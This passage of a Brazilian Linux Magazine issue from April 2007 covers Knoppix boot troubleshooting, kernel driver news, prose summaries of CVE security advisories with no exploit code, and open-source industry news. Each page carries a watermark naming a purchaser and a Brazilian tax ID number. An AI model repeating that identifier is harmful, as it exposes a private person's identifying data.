venha a funcionar magicamente, mesmo que ele tenha se recusado a reconhecer qualquer unidade conectada aos cabos IDE ou SATA. Também pode-se testar cabos novos. Não acredito em sprays limpadores de contato, pois eles podem facilmente fechar um curto-circuito em conectores modernos, desintegrar isolantes e – na pior das hipóteses – estragar a placa. Além disso, a memória RAM talvez precise ser substituída, pois está falhando após alguns bilhões de ciclos de leitura e escrita. Quanto ao hardware, isso é tudo que podemos fazer. Já no tocante ao software, às vezes uma atualização da BIOS pode ajudar a resolver problemas que surgiram depois de instalar uma nova versão de um sistema operacional. Ocasionalmente, alguns recursos do hardware não funcionam bem e, em vez de soldarmos alguma coisa, pode ser mais interessante e efetivo simplesmente não usar alguns recursos que não sejam absolutamente necessários, como o balanceamento de IRQs ou o ACPI. O Knoppix possui uma linha de comando de inicialização boa – embora longa – para verificar se os problemas são causados por uma implementação incompleta de recursos do hardware no kernel: knoppix acpi=off noapic nolapic pnpbios=off pci=bios

O termo nolapic não é um erro de digitação. Recentemente descobri que alguns notebooks não conseguiam ser inicializados sem a opção nolapic. Com essa opção, tudo – incluindo ACPI, modulação de freqüência da CPU e todos os outros controladores onboard – funcionava perfeitamente, enquanto sem nolapic o kernel parava durante o reconhecimento dos controladores de disco rígido (e a falha aparentemente não era dos discos nem dos controladores). ■

O autor Klaus Knopper é o criador do Knoppix e co-fundador do evento LinuxTag. Atualmente ele trabalha como professor, programador e consultor.

16

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Crônicas do kernel

COLUNA

Zack Brown

Na continuação da faxina no código-fonte do kernel, diversos drivers foram removidos, enquanto outros foram salvos no último minuto. Houve até um driver ressuscitado.

A

luta para eliminar do kernel códigos ruins, sem manutenção ou não utilizados continua firme. O JFFS foi marcado para remoção na versão 2.6.21, a menos que algum reduto secreto de usuários seja descoberto. Ele está sem manutenção há anos, e já foi substituído pelo JFFS2 há muito tempo. Jeff Garzik fez a proposta para se livrar da primeira versão, e enviou um patch; e Andrew Morton não fez objeção, o que nos dá a impressão de que em breve diremos adeus ao JFFS. Livrar-se dos drivers de som do OSS está na lista de afazeres de Adrian Bunk há anos, e ele já eliminou alguns deles, conforme mais e mais drivers ALSA foram surgindo e funcionando a contento. Os drivers DMASOUND_PMAC e SOUND_ES1371 são os próximos na lista do abate, sem restrições até o momento, enquanto o VIDEO_ZR36120 encontrou resistência.

Livrar-se dos drivers de som do OSS está na lista de afazeres de Adrian Bunk há anos. Peter Schlaf, que usa o driver, ofereceu-se para assumir o papel de mantenedor, e Mauro Carvalho Chehab, mantenedor do subsistema V4L se ofereceu para aceitar os patches. Parece que esse driver particular foi salvo da morte no último instante. Adrian ainda conseguiu encontrar um novo mantenedor para o driver VIDEO_PLANB, enquanto já preparou o SCSI_AMIGA7XX para ser apagado. Existe uma correção disponível para converter o segundo driver para a nova base 53c700. Porém, é necessário o novo framework DMA, que ainda causa algumas regressões nos m68k onde estão sendo desenvolvidos. Ainda há dúvidas se isso será suficiente para manter o driver. Outros drivers, como o BINFMT_IRIX, o FB_S3TRIO, o SUN_AURORA e o OAKNET, foram mais fáceis. Ninguém se opôs à remoção, especialmente no caso do S3TRIO, que já dispõe de um novo driver genérico em desenvolvimento, capaz de substituí-lo.

Novos recursos

Além da intensa remoção de código antigo do kernel, há ainda vários recursos sendo acrescentados, e recursos antigos sendo corrigidos. Andries Brouwer recentemente precisou ler um

sistema de arquivos Minix versão 3, e descobriu que o kernel 2.6.19 não oferecia suporte a ele, assim como o 2.6.20. Uma busca rápida revelou que Daniel Aragones já havia escrito um patch para suportar o sistema de arquivos e, após uma boa faxina no código, Andries o enviou à lista do kernel para inclusão. Daniel aprovou as mudanças de Andries, e Andrew Morton disse que o patch parecia suficientemente inofensivo para ser aceito imediatamente. Jiri Kosina fez renascer o driver de rede 3G PCMCIA ipwireless_cs, originalmente desenvolvido pela Symmetric Systems, e portou-o para o atual kernel 2.6. Os autores originais também estão participando da depuração e aplicando melhorias ao código, que viola algumas regras do CodingStyle e é incapaz de usar vários recursos do kernel, funcionando de forma incompleta. Sascha Sommer implementou um driver experimental para o leitor de cartões SD da Ricoh, encontrado em notebooks como o Samsung P35 e o Dell X300. Com o apoio moral e técnico de vários outros programadores, o driver atualmente oferece suporte apenas para leitura, é lento e possui diversos problemas; mas Samuel conseguiu utilizá-lo em seu X300. David Brownell escreveu um framework para drivers para o relógio de tempo real (RTC) embutido em PCs e outras plataformas. Já existe um driver para isso, mas o trabalho de David possui um conjunto mais extensível de recursos, além de uma interface padrão através do SysFS. O ponto negativo é que ele apenas foi testado em sistemas x86 com ACPI e sem HPET, e, portanto, está sujeito a “dores do crescimento”, como David colocou. Philip Langdale incluiu o suporte aos futuros cartões flash SDHC (Secure Digital Hich Capacity). Com o hardware doado por John Gilmore e as especificações divulgadas pela SD Card Association, o código ainda não foi testado, mas Philip ainda não perdeu qualquer dado em seus últimos testes. David Lopez recentemente enviou um driver para suportar os dispositivos USB de aquisição de dados LabJack U3 e UE9, que oferecem uma conexão de propósito geral entre um computador e instrumentos de laboratório. Nicolas Ferre modificou o driver ads7846 para que suportasse também o controlador de touchscreen ads7843. Parece que há algum trabalho em andamento nesse driver em outro local, o que está causando certa confusão. ■

O autor A lista de discussão Linux-kernel é o núcleo das atividades de desenvolvimento do kernel. Zack Brown consegue se perder nesse oceano de mensagens e extrair significado! Sua newsletter Kernel Traffic esteve em atividade de 1999 a 2005.

18

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


NOTÍCIAS

➧ Samba

O Samba é um aplicativo servidor SMB de Código Aberto. Um erro de lógica no código da abertura deferida no smbd pode permitir que um usuário não autenticado cause a exaustão de recursos como memória e CPU do servidor, abrindo múltiplas conexões CIFS, cada uma das quais gerando um novo processo do smbd, enviando cada conexão para um loop infinito (CVE-2007-0452).

➧ Fetchmail

Referência

Fetchmail é um utilitário de captura e encaminhamento de emails. Uma falha de negação de serviço é encontrada quando o Fetchmail é executado em modo multidrop. Um servidor de emails malicioso poderia enviar uma mensagem sem cabeçalhos que faria o Fetchmail travar (CVE-2005-4348). Uma falha foi descoberta na forma como o Fetchmail utiliza a criptografia por TLS para se conectar a máquinas remotas. O Fetchmail não ofereceu qualquer forma de se forçar o uso da criptografia TLS, e não autenticava conexões com o protocolo POP3 corretamente (CVE2006-5867). ■

no

O nome de um arquivo nos compartilhamentos do servidor é usado como formato ao se configurar um descritor de segurança NT através do plugin VFS afsacl. so ( CVE-2007-0454 ). ■ Referência no Debian: DSA-1257 Referência no Mandriva: MDKSA-2007-034

Mandriva: MDKSA-

2007:016 Referência no Red Hat: RHSA-2007:0018-10 Referência no Slackware: SSA:2007-024-01

➧ krb5

O krb5 é uma implementação do sistema de autenticação Kerberos. Foram corrigidas diversas falhas das bibliotecas e ferramentas Kerberos5, as quais poderiam ser utilizadas por agressores remotos para travar ou, possivelmente, executar código no kadmind. ➧ CVE-2006-6144 / MITKRB5-SA-2006002: A biblioteca RPC era capaz de chamar um ponteiro para uma

função não inicializada, o que criava uma vulnerabilidade de segurança no kadmind. ➧ CVE-2006-6143 / MITKRB5-SA-2006003: A camada GSS-API mechglue poderia não conseguir inicializar alguns ponteiros de saída, fazendo com que o código que a chamou tentasse liberar ponteiros não inicializados. ■ Referência no Gentoo: GLSA 2007-21 Referência no Suse: SUSE-SA:2007:004

➧ X.org

O X.org é uma implementação em Código Aberto do X Window System. Ele fornece a funcionalidade básica de baixo

Postura das principais distribuições Linux quanto à segurança Distribuição

Referência de Segurança

Comentários

Conectiva

Info: distro2.conectiva.com.br/ Lista: seguranca-admin@distro.conectiva.com.br e distro2.conectiva.com.br/lista Referência: CLSA-... 1

Possui uma página específica; não há link para ela na página principal. Os alertas são sobre segurança, mas distribuídos através de emails assinados com a chave PGP da empresa para assegurar sua autenticidade. Contém também links para os pacotes atualizados e para fontes de referência sobre o problema sendo corrigido.

Debian

Info: www.debian.org/security Lista: lists.debian.org/debian-security-announce Referência: DSA-… 1

Alertas de segurança recentes são colocados na homepage e distribuídos como arquivos HTML com links para os patches. O anúncio também contém uma referência à lista de discussão.

Gentoo

Info: www.gentoo.org/security/en/glsa Fórum: forums.gentoo.org Lista: www.gentoo.org/main/en/lists.xml Referência: GLSA: … 1

Os alertas de segurança são listados no site de segurança da distribuição, com link na homepage. São distribuídos como páginas HTML e mostram os comandos necessários para baixar versões corrigidas dos softwares afetados.

Mandriva

A Mandriva tem seu próprio site sobre segurança. Entre outras Info: www.mandriva.com/security Lista: www1.mandrdrivalinux.com/en/flists.php3#2security coisas, inclui alertas e referência a listas de discussão. Os alertas são arquivos HTML, mas não há links para os patches. Referência: MDKSA-… 1

Red Hat

Info: www.redhat.com/errata Lista: www.redhat.com/mailing-lists Referência: RHSA-… 1

A Red Hat classifica os alertas de segurança como “Erratas”. Problemas com cada versão do Red Hat Linux são agrupados. Os alertas são distribuídos na forma de páginas HTML com links para os patches.

Slackware

Info: www.slackware.com/security Lista: www.slackware.com/lists (slackware-security) Referência: [slackware-security] … 1

A página principal contém links para os arquivos da lista de discussão sobre segurança. Nenhuma informação adicional sobre segurança no Slackware está disponível.

Suse

Info: www.novell.com/linux/security Lista: www.novell.com/linux/download/updates Referência: suse-security-announce Referência: SUSE-SA … 1

Após mudanças no site, não há mais um link para a página sobre segurança, contendo informações sobre a lista de discussão e os alertas. Patches de segurança para cada versão do Suse são mostrados em vermelho na página de atualizações. Uma curta descrição da vulnerabilidade corrigida pelo patch é fornecida.

1 Todas as distribuições indicam, no assunto da mensagem, que o tema é segurança.

20

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


nível utilizada pelas sofisticadas interfaces gráficas de usuários. O iDefense relatou três falhas de estouro de inteiros nas extensões Render e DBE do X.org. Um cliente autorizado mal intencionado poderia explorar essa falha, causando uma negação de serviço (travamento) ou potencialmente executando código arbitrário com privilégios de root no servidor X.org ( CVE-2006-6101, CVE-2006-6102, CVE-2006-6103). ■ Referência no Gentoo: GLSA 200701-25 Referência no Red Hat: RHSA-2007:0003-3 Referência no Ubuntu: USN-403-1

➧ Squid

O Squid é um servidor proxy de Código Aberto. Foi descoberta uma vulnerabilidade no Squid que poderia ser explorada remotamente com o uso de uma URL ftp especial ( CVE2007-0247). Outra vulnerabilidade de negação de serviço foi descoberta no Squid 2.6, a qual permite que agressores remotos travem o servidor através de uma sobrecarga no external_acl_queue (CVE-2007-0248). Além disso, uma falha no processamento de max_user_ip de ntlm_auth do Squid 2.6 foi corrigida. ■ Referência no Gentoo: GLSA 200701-22 Referência

no

Mandriva: MDKSA-

2007:026 Referência no Suse: SUSE-SA:2007:012 Referência no Ubuntu: USN-414-1

➧ gtk2

O pacote gtk2 contém o GIMP ToolKit (GTK+), uma biblioteca para a criação de interfaces gráficas para o X Window. Uma falha foi descoberta na forma como a função GdkPixbufLoader() da gtk2 processa entradas inválidas. Os aplicativos linkados com a gtk2 poderiam travar caso carregassem uma imagem mal formada (CVE-2007-0010). ■ Referência no Debian: DSA-1256-1 Referência no Red Hat: RHSA-2007:0019-3 Referência no Suse: SUSE-SR:2007:02 Referência no Ubuntu: USN-415-1

➧ Bind

O Bind, disponível gratuitamente sob a licença BSD, é um servidor DNS de Código Aberto. Uma vulnerabilidade do tipo use-after-free no ISC BIND 9.3.0 a

9.3.3, 9.4.0a1 a 9.4.0a6, 9.4.0b1 a 9.4.0b4, 9.4.0rc1 e 9.5.0a1 (apenas fórum do Bind) permite que agressores remotos causem uma negação de serviço (travamento do daemon named) através de vetores não especificados que fazem o named “tirar a referência de um contexto de fetch liberado” (CVE-2007-0493). O ISC BIND 9.0.x, 9.1.x, 9.2.0 até 9.2.7, 9.3.0 a 9.3.3, 9.4.0a1 até 9.4.0a6, 9.4.0b1 a 9.4.0b4, 9.4.0rc1 e 9.5.0a1 (apenas no fórum do Bind) permite que agressores remotos causem uma negação de serviço (fechamento do programa) através de uma resposta a requisição do tipo * (qualquer), que contém múltiplos RRsets, a qual desencadeia um erro de asserção ( CVE2007-0494). ■ Referência no Debian: DSA-1254-1 Referência

no

Mandriva: MDKSA-

2007:030 Referência no Slackware: SSA:2007-026-01

➧ Xine

Xine é um aplicativo de reprodução multimídia. Uma vulnerabilidade de nome do formato foi encontrada na função errors_create_window de errors.c no xine-ui, a qual permite que agressores executem código arbitrário através de vetores desconhecidos (CVE-2007-0254). O Xine 0.99.4 permite que agressores remotos auxiliados pelo usuário causem uma negação de serviço (travamento do aplicativo) e possivelmente executem código arbitrário através de um certo arquivo M3U que contém uma longa linha #EXTINF e também especificadores de formato em uma URI url:// inválida, possivelmente uma variação de CVE-2007-0017 (CVE2007-0255). ■ Referência no Gentoo: GLSA 200701-18 Referência

no

Mandriva: MDKSA-

2007:027 Referência no Suse: SUSE-SA:2007:013

➧ BrOffice.org

O BrOffice.org é um conjunto de aplicativos de Código Aberto para escritórios. Um estouro de inteiros foi descoberto no processamento de arquivos WMF pelo BrOffice.org. Se um usuário fosse convencido a abrir um arquivo WMF especialmente criado, o agressor poderia executar código arbitrário com os privilégios desse mesmo usuário. ■ Referência no Ubuntu: USN-406-1

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


NOTÍCIAS

➧ Dell com Linux? A fabricante de computadores americana Dell anunciou que estava ouvindo as solicitações de seus clientes através do website, e que o pedido mais recebido era ter o Linux pré-instalado em diversas de suas linhas de computadores (o terceiro item mais requisitado era o BrOffice.org pré-instalado). A comunidade do Software Livre, naturalmente, reagiu de forma altamente positiva, visto tratar-se do maior fabricante de computadores pessoais dos Estados Unidos. Entretanto, poucos dias depois, a empresa esclareceu que, embora tivesse afirmado que estava buscando certificar uma

distribuição Linux para inclusão nas máquinas, isso não necessariamente aconteceria em breve. No último pronunciamento da Dell antes do fechamento desta edição, a fabricante pediu para que os clientes especificassem melhor, no formulário online em http:// www.dell.com/content/topics/global.aspx/corp/linux?s=corp, por que e como pretendem utilizar o Linux em seus computadores. Com isso, a empresa pretende ter um melhor embasamento, ao buscar a distribuição mais apropriada a suas máquinas e clientes. ■

➧ Microcâmera com Linux

O fabricante Nuvation demostrou uma câmera IP inteligente ultra-compacta. O dispositivo naturalmente roda Linux, sendo capaz de codificar e transmitir vídeo a uma resolução de 720 por 480 pixels através da rede, a 30 quadros por segundo. A pequena câmera mede apenas 79×43 x 47 milímetros, e possui um processador ARM9 de 300 MHz, além de uma entrada Ethernet, através da qual é alimentada nos menos de 5 W de energia (por Power over Ethernet) necessária para seu funcionamento. Por ser inteligente, a diminuta câmera pode ter sua resolução alterada pelo usuário, assim como sua taxa de transmissão e seus codecs, e também pode executar aplicativos de análise das imagens. A saída de vídeo, como se pode conferir na foto ao lado, é feita por sinal analógico. O aparelho está disponível para licenciamento por quem quiser produzi-lo comercialmente. ■

➧ Eric Raymond abandona Fedora

Após 13 anos como fiel usuário das distribuições Red Hat e Fedora, Eric Raymond decidiu adotar o Ubuntu Edgy Eft para uso pessoal. Raymond é programador e um dos mais proeminentes defensores do Software Livre, tendo sido, dizem, o autor do termo “Open Source”. Porém, a obra mais conhecida do hacker, conhecido como ESR é seu livro “A Catedral e o Bazar” (The Cathedral and the Bazaar, no original em inglês). No e-mail de despedida, Eric Raymond alegou que os impedimentos relativos à inclusão de codecs multimídia proprietários na distribuição foram o fator decisivo para sua mudança. Além disso, citou ainda outros aspectos da Fundação Fedora, como problemas de governança, falhas na manutenção de repositórios e dificuldades no envio de correções para os desenvolvedores. Outro fator importante foi a contratação do hacker pela Linspire, fabricante da distribuição de mesmo nome e de sua contrapartida gratuita Freespire. Poucos dias antes, a Linspire havia anunciado que deixaria de usar o Debian como base, adotando então o Ubuntu. A comunidade de usuários e desenvolvedores do Fedora considerou infantil a mensagem de despedida enviada por Eric para a lista de discussão, e não pareceu interessada em examinar as questões levantadas por ele. ■

➧ ISO acelera avaliação do OpenXML A International Standards Organization (ISO) decidiu incluir o formato de arquivos OpenXML, de autoria da Microsoft, na fila expressa de avaliação. Com isso, o formato pode vir a tornar-se um padrão ratificado pela organização já em agosto. Obviamente foram levantadas grandes controvérsias em torno dessa aceleração, pois os comunicados emitidos pela ISO indicavam que as diversas moções contrárias à aprovação do formato, emitidas por vários países, haviam sido sumariamente ignoradas. No site Groklaw, Pamela Jones lembrou o poder de persuasão que a empresa de Redmond é capaz de exercer, citando palestras de uma recente conferência de CIOs, nas quais executivos de empresas e instituições públicas relataram a pressão feita pela gigante do software proprietário, quando fizeram a opção por adotar sistemas livres. As restrições à aprovação do formato OpenXML como padrão ISO fazem menção ao formato ODF, desenvolvido há mais tempo e já aprovado pela organização internacional, com participação de diversas nações. ■

22

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Gerais | NOTÍCIAS

➧ Escrita em NTFS

O driver do Linux para gravação de dados em partições NTFS, chamado NTFS-3G, atingiu a versão 1.0. Após alguns meses de testes, nenhum erro sequer foi relatado pelos encarregados dos testes da versão beta. Com esse driver, o Linux passa a ser capaz de gravar dados em partições de diversas versões do Windows®, a saber: Windows XP, Server 2003, 2000 e Vista. Antes do NTFS-3G atingir a versão estável, apenas a leitura de partições NTFS era possível no Linux. O NTFS-3G necessita do FUSE (Filesystem in userspace), o que, teoricamente, aumenta os riscos de se corromper o sistema de arquivos. ■

➧ OSSEC HIDS eleito número um O software OSSEC HIDS, apresentado na última edição da Linux Magazine, foi eleito pelo Linux World a principal ferramenta de segurança de Código Aberto. De acordo com os juízes, “em combinação com o IDS Snort, o OSSEC oferece uma visão holística de 360 graus da rede e dos sistemas pontuais monitorados”. O software destaca-se por ser compatível com múltiplos sistemas operacionais, como Linux, Windows, FreeBSD, OpenBSD, NetBSD, Solaris e AIX, e também por ser capaz de bloquear de forma autônoma e automática endereços IP específicos, com base no firewall atuante no sistema operacional, realizando também, entre outros procedimentos, a análise dos registros, detecção de rootkits e alertas por email aos administradores. ■

Notas Treinamento Mandriva na Unochapecó A Mandriva Conectiva firmou uma parceria com a Universidade Comunitária de Chapecó, SC, envolvendo a oferta de cursos oficiais da distribuidora, voltados aos alunos de disciplinas como Ciência da Computação e Sistemas de Informação. O programa Academic Partner, do qual a Unochapecó passa a fazer parte, engloba a oferta de cursos de administração de sistemas e redes, níveis 1 e 2. Linux auxiliando deficientes O Serpro (Serviço Federal de Processamento de Dados) implementou um telecentro voltado aos deficientes visuais em Recife, PE. Encomendado pela Associação Pernambucana de Cegos, o projeto disporá de onze máquinas, as quais oferecerão acesso à Internet. Para adequar as máquinas às necessidades especiais dos usuários, o Serpro utiliza apenas os programas de Código Aberto Linovox, Dosvox e Festival, todos sobre Linux. Photoshop gratuito Embora o programa livre Gimp possua diversas das funcionalidades mais utilizadas pelos usuários do programa proprietário da Adobe, muitos profissionais ainda se sentem incapazes de usá-lo devido às diferenças entre as interfaces dos dois programas. Mas os artistas do Software Livre que sentem falta do Adobe Photoshop no Linux em breve terão uma solução. A Adobe anunciou que disponibilizará uma versão do Photoshop baseada na Web. Com o objetivo de competir com os serviços oferecidos pelo Google, o Photoshop online ficará disponível gratuitamente, o que significa que qualquer navegador web, independentemente do sistema operacional utilizado, será capaz de rodar a ferramenta.

➧Mudanças no sistema de TI

A empresa Bull lançou o movimento Secret Warriors Against the System (SWATS, na sigla), que prega diversas mudanças radicais no mercado de TI, em favor do Código Aberto. A campanha pode ser acessada em http://www.join-swats.org, e define sete iniciativas para os “combatentes”: alinhamento dos processos, aceleração da inovação, facilitação da tomada de decisões, gerenciamento do capital de conhecimento, aumento da flexibilidade, troca de favores e garantia de confiança. O manifesto do movimento baseia-se na característica desruptiva da tecnologia do Código Aberto, valorizando suas capacidades colaborativas. Em seguida, execra a dependência causada pelos fornecedores de TI, utilizando até mesmo o termo “refém”, e afirma que a tecnologia não pode ditar o rumo dos negócios, mas permitir que eles inovem e se destaquem em seus nichos. ■

➧ Nova versão do Gnome

Seguindo o rígido calendário de lançamentos, foi liberado o Gnome 2.18. Mais uma vez, no entanto, não há importantes mudanças estruturais, aparentemente indicando a satisfação dos desenvolvedores com o que ocorre “debaixo dos panos” no ambiente desktop preferido de distribuições como Ubuntu, Fedora, Red Hat Enterprise e Suse. As notas de lançamento, disponíveis em http://www.gnome.org/ start/2.18/notes/pt_BR/, citam o gerenciador de janelas Metacity e o navegador web Epiphany como dois itens que apresentam avanços mais marcantes. Além disso, uma adição interessante é a nova interface para gerenciamento do GNU Privacy Guard, que facilita a visualização e a aplicação de chaves criptográficas em documentos, mensagens e comunicações em geral. Outras novidades divertidas são o xadrez com recursos 3D e a inclusão de um jogo de Sudoku no pacote gnome-games. Apesar de nenhuma distribuição oferecer imediatamente a nova versão do Gnome, é possível baixar e usar imediatamente imagens de discos do ambiente gráfico para Qemu, Parallels, VMware e Microsoft Virtual PC, em http://www.rpath.org/rbuilder/project/foresight/release?id=5451. Os serviços GARNOME e jhbuild também oferecem a posssibilidade para se instalar o novo Gnome, de forma automatizada, a partir do código-fonte. ■

➧ Mais um programa aberto pelo Google Em sua última demonstração de participação no desenvolvimento do Software Livre, o Google abriu o código de sua plataforma de injeção de dependências para Java 5. Com o nome de Guice, a plataforma já vinha sendo utilizada internamente pela empresa há muito tempo. O Guice permite um desenvolvimento bem mais veloz de objetos, assim como seu teste, e é capaz de injetar construtores, campos e métodos. Segundo seus autores, o Guice foi criado “com o intuito de se escrever menos código e dividir aplicações de diversos milhões de linhas”. “Nós vemos o Guice como uma alternativa mais leve ao padrão de fábrica”. ■

23

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


CORPORATE

➧ Red Hat critica Novell no lançamento do RHEL 5 A Red Hat lançou mundialmente, no dia 14 de março, a quinta versão de seu sistema operacional voltado a clientes corporativos. O Red Hat Enterprise Linux 5 foi desenvolvido pela empresa ao longo de dois anos, e possui inúmeras melhorias em comparação com a versão anterior, a começar pela oferta de uma única solução, desde a máquina de mesa até o mainframe. Na cerimônia de lançamento, os executivos da empresa americana David Barzilay, Gabriel Szulik, Julián Somodi e Alejandro Chocolat, afirmaram, em relação à concorrência, que “a Red Hat não vai vender sua alma como a Novell fez”, em crítica ao polêmico acordo entre a empresa de Utah, e a Microsoft. Além disso, os executivos apresentaram o novo modelo de subscrição que vai reger o produto: uma única subscrição cobrirá todos os softwares instalados, desde que tenham sido homologados pela Red Hat, em todas as máquinas virtualizadas sob a distribuição. Antes disso, o modelo exigia uma subscrição para cada máquina instalada, fosse ela virtual ou real.

Foram apresentados também diversos novos vídeos publicitários, assim como a nova webpage da companhia. Foram enfatizadas ainda as mudanças na Red Hat Network, para atender à nova demanda com respeito aos ambientes virtualizados, e o novo contrato de suporte, “humanizado”, segundo os executivos, e com apenas uma página. Quanto às críticas, os executivos continuaram após a apresentação, afirmando que “interoperabilidade é para o software proprietário; Software Livre usa padrões abertos”. Segundo eles, a fidelidade da empresa aos princípios do Software Livre e de Código Aberto garante que ela não terá que fazer acordos com outras empresas para que seus produtos funcionem em conjunto, pois as soluções virão a partir dos padrões adotados. Por último, com relação às patentes citadas no contrato da Novell com a Microsoft, a Red Hat afirmou que seus contratos, com IBM, Sony, Philips e diversas outras empresas, respondem por muito mais patentes do que a Microsoft, e que, portanto, seus usuários estão mais seguros nesse sentido. ■

➧ Sun se junta à Free Software Foundation

A Sun aderiu recentemente ao programa de patrocínio da Free Software Foundation. O programa permite que empresas contribuam financeiramente com a fundação, em troca de consultorias jurídicas relativas ao licenciamento de software. Além da Sun, pertencem ao programa da FSF outros grandes nomes do mercado mundial de TI, como Google, Nokia, IBM, Cisco e Intel, assim como outras empresas menores. Essa iniciativa da empresa marca a formalização de seu envolvimento com o Software Livre, após a abertura do código da máquina virtual Java e da adoção da licença GPL pelo kernel de seu sistema operacional, o OpenSolaris. Especula-se que o principal interesse da Sun nessa empreitada seja a finalização da próxima versão da GPL, chamada GPLv3, que a empresa planeja adotar no OpenSolaris, em contraste com as diversas colocações dos desenvolvedores do kernel Linux, especialmente do próprio Linus Torvalds. Com isso, a Sun poderia agregar desenvolvedores simpáticos à nova licença, caso o Linux opte definitivamente pela GPLv2.

➧ IBM favorece Linux e Apple

A IBM apresentou uma iniciativa que reduz drasticamente o custo de uso e manutenção de máquinas Linux e Apple. Com o lançamento do Open Client, a Big Blue oferecerá uma plataforma única para assistência a sistemas operacionais Mac OS, Linux e Windows®. O software foi desenvolvido em parceria com a Red Hat e a Novell, as principais fabricantes de distribuições Linux corporativas, e vem justamente no momento em que diversas empresas começam a cogitar a migração de suas instalações Windows XP para Vista. Segundo a IBM, o Open Client permite a oferta, por parte das empresas, da escolha entre os três sistemas operacionais a seus funcionários, pois os custos de manutenção então passariam a ser semelhantes. O software baseia-se em componentes multi-plataforma, como o BrOffice.org, com o formato ODF, o navegador web Firefox e os programas de colaboração Lotus, da própria IBM. ■

➧ Linux no parlamento francês O parlamento francês declarou, em dezembro de 2006, que adotaria Linux nos desktops dos parlamentares. Agora que a distribuição já foi escolhida (optou-se pelo Ubuntu) e o contrato de migração já foi firmado com as empresas Linagora e Unilog, faltam apenas poucos meses para os 1154 desktops dos parlamentares e seus assessores receberem instalações do Linux. O mês escolhido para o início da operação dos desktops foi junho, pois marca a volta do recesso dos parlamentares, o que significa que os prestadores de serviço terão tempo para efetuar a migração ao longo das férias. Um aspecto marcante da migração dos sistemas Windows para Linux foi a escolha da distribuição. Embora o Ubuntu seja reconhecido internacionalmente como uma opção de excelente usabilidade para desktops, um importante concorrente de origem francesa, o Mandriva, foi preterido. ■

24

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Notícias | CORPORATE

➧ Acordo atrapalha conclusão da GPLv3

➧ Mais um smartphone com Linux

Segundo Eben Moglen, diretor jurídico da Free Software Foundation, a parceria firmada no final de 2006 entre a Microsoft e a Novell está causando o adiamento da conclusão da nova versão da licença pública geral GNU (GPL). Pessoas envolvidas com a confecção da licença estão investigando a inclusão de termos na licença para impedir que, neste caso em específico, a Novell distribua atualizações de partes importantes do Linux. Moglen afirmou que a nova licença já deveria estar pronta, caso não houvesse tantas ponderações a fazer quanto ao acordo, mas que, mesmo assim, a nova versão deve ser finalizada em breve. ■

A Grundig, fabricante alemã de aparelhos eletrônicos, lançou o B700, um smartphone completo que roda sobre Linux. Equipado com uma câmera de 2 megapixels e capaz de reproduzir arquivos de vídeo e áudio, nos formatos MP3 e AAC, o aparelho possui ainda um sintonizador FM e tela de cristal líquido com resolução de 320×240. Quanto à conectividade, o B700 é um celular quad-band compatível com as tecnologias EDGE e GSM, tem uma entrada USB 2.0 para conexão a um computador e possui conectividade Bluetooth. O armazenamento é fornecido por 100 MB de memória interna, com expansão oferecida através de um conector para cartões microSD. Os softwares incluídos permitem o envio e recepção de emails por POP3, viva-voz, gravação de voz e papel de parede animado. ■

➧ Curso de migração RH-Novell

A americana Novell lançou uma nova iniciativa para conquistar clientes da também americana Red Hat. Uma nova modalidade de treinamento está sendo oferecida pela fabricante do Suse Linux, voltada a administradores de sistemas Red Hat Enterprise Linux 4 e destinada a facilitar a migração para o Suse Linux Enterprise Server 10. O curso está disponível gratuitamente na página da Novell, em http://www.novell.com, mas também é possível contactar instrutores para aulas presenciais, com duração de três dias. Os assuntos abordados abrangem as semelhanças e diferenças entre os dois sistemas operacionais, e também vai mais fundo, com aspectos específicos nesse tipo de migração, com servidores de email e iSCSI. Segundo a empresa, os administradores já experientes no RHEL4 que completarem o curso terão uma sólida base para a obtenção da certificação Novell CLP 10 Practicum, a qual os tornaria profissionais certificados pela Novell. ■

➧ Windows virtualizado no Linux – sem modificações A Novell e a Intel anunciaram que os sistemas operacionais Windows Server 2003, XP e 2000 já podem ser executados sem modificações em máquinas virtuais sob Linux. As duas empresas trabalharam em conjunto para permitir a para-virtualização em máquinas equipadas com o processador Xeon de núcleo quádruplo e com a nova tecnologia de virtualização da Intel, VT, sobre o Xen no Suse Linux Enterprise Server 10. Para isso, a Intel e a Novell desenvolveram drivers de dispositivos, com o objetivo de ajudar seus clientes a migrarem para uma menor quantidade de servidores mais modernos e com menor consumo de energia, ainda assim consolidando seus servidores Windows em máquinas virtuais. ■

➧ Oracle adquire Hyperion

A Oracle, fabricante do banco de dados de mesmo nome e importante player no mercado de Business Intelligence e aplicativos analíticos, adquiriu, por US$ 3,3 bilhões, a Hyperion Solutions Corporation, fornecedor global de soluções de gestão de desempenho. Com a compra, a Oracle torna-se a líder do setor de gestão de desempenho, contando com um sistema completo. O presidente da Oracle, Charles Phillips, afirmou que, dado o grande uso que os clientes SAP fazem do Hyperion na análise dos dados, “agora, o software Hyperion da Oracle será a lente através da qual os clientes mais importantes da SAP verão e analisarão seus dados de ERP”. ■

